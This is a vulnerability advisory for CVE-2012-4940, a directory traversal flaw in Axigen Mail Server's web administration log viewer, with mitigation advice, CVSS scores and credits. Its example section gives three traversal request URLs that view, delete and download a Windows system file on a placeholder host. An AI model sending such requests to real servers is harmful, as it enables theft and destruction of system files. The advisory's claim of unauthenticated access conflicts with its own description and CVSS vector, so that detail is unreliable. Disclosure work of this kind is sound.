Axigen Mail Server directory traversal vulnerability

Overview

Axigen Mail Server contains a directory traversal vulnerability.

Description

CWE-22: Improper Limitation of a Pathname to a Restricted Directory

Axigen Mail Server has a web based administration site which allows authorized administrators to perform certain actions via HTTP. The ‘View Log Files’ page does not sufficiently filter '…' from web requests, making it possible for an attacker to browse, delete or download system files of the server.

Example:
<http://target.example.com:9000/?h=44ea8a6603cbf54e245f37b4ddaf8f36&amp;page=vlf&amp;action=edit&amp;fileName=…\…\…\windows\win.ini>
<http://target.example.com:9000/?h=44ea8a6603cbf54e245f37b4ddaf8f36&amp;page=vlf&amp;action=delete&amp;fileName=…\…\…\windows\win.ini>
<http://target.example.com:9000/source/loggin/page_log_dwn_file.hsp?h=44ea8a6603cbf54e245f37b4ddaf8f36&amp;action=download&amp;fileName=…\…\…\windows\win.ini>

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Impact

A remote unauthenticated attacker may obtain sensitive information, cause a denial of service condition or execute arbitrary code with the privileges of the application.

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Solution

We are currently unaware of a practical solution to this problem.

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Restrict access

As a general good security practice, only allow connections from trusted hosts and networks. Restricting access would prevent an attacker from accessing Axigen Mail Server web interface using stolen credentials from a blocked network location.

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Vendor Information

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Axigen Affected

Updated: October 29, 2012

Status

Affected

Vendor Statement

We have not received a statement from the vendor.

Vendor Information

We are not aware of further vendor information regarding this vulnerability.

CVSS Metrics

Group	Score	Vector
Base	6.5	AV:N/AC:L/Au:S/C:P/I:P/A:P
Temporal	5.9	E:H/RL:W/RC:UR
Environmental	1.5	CDP:N/TD:L/CR:ND/IR:ND/AR:ND

References

• <http://cwe.mitre.org/data/definitions/22.html&gt;
• <http://www.axigen.com/mail-server/free/&gt;

Acknowledgements

Thanks to Zhao Liang of Beijing Leadsec Technology Co., Ltd for reporting this vulnerability.

This document was written by Michael Orlando.

Other Information

CVE IDs:	CVE-2012-4940
Date Public:	2012-10-31 Date First Published: